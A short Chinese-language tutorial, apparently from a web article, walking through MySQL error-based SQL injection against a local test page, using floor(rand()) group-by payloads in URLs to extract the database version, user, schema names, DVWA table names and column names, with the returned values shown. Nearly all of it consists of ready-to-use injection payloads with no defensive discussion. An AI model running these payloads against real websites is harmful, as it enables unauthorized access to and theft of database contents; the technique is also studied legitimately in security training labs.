这是正常的情况:
加个单引号后
这里说明有注入了,然后用order by 判断字段咯,这里就截图了(太麻烦啦),字段数是8个(其实不判断也可以的,只要确定有注入就行啦)
1、先读个数据库的版本、用户、当前库名
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b
这里数据库版本:5.1.28-rc-community
用户是:root@localhost
数据库名:test
2、然后读数据库有哪些库
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b
这里要注意,因为sql语句会返回多条记录,所以要用limit来限制返回的条数,limit 0,1是第一条记录
limit 1,1是第二条记录
(小编注:通过控制limit来逐条查看数据库名称,请忽略前面的0或是1)
3、然后看看有什么表
因为我有个dvwa的数据库,所以就用那个来做示范啦
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))a from information_schema.tables group by a)b
加粗是dvwa的hex值,这样得到dvwa的users的表
4、然后看有什么字段
1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x7573657273 limit 0,1 ))a from information_schema.tables group by a)b
(责任编辑:)